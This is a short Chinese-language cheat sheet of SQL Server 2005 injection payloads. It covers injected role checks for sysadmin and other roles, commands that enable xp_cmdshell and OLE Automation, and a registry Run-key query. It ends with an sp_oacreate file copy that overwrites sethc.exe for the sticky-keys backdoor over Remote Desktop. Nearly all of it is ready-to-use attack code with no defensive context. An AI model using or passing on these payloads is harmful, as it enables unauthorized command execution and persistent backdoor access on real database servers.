sql server 2005注入技巧集

[sql server 2005,检测权限]

and 1=(select IS_SRVROLEMEMBER('sysadmin'))
and 1=(select IS_SRVROLEMEMBER('serveradmin'))
and 1=(select IS_SRVROLEMEMBER('setupadmin'))
and 1=(select IS_SRVROLEMEMBER('securityadmin'))
and 1=(select IS_SRVROLEMEMBER('diskadmin'))
and 1=(select IS_SRVROLEMEMBER('bulkadmin'))
and 1=(select IS_SRVROLEMEMBER('db_owner'))

[sql server 2005 ，恢复xp_cmdshell ]

开启

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;


关闭


EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

更新注册

Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'

[sql server 2005 ，文件操作]

//启用 OLE Automation Procedures

sp_configure 'show advanced options',0;RECONFIGURE;sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

//拷贝文件d:\windows\explorer.exe 至sethc.exe

declare @o int;exec sp_oacreate 'scripting.filesystemobject', @o out ;exec sp_oamethod @o, 'copyfile',null,'d:\windows\explorer.exe' ,'c:\sethc.exe';

//如果服务器是windows 2003且开放3389即可以用粘滞键的原理.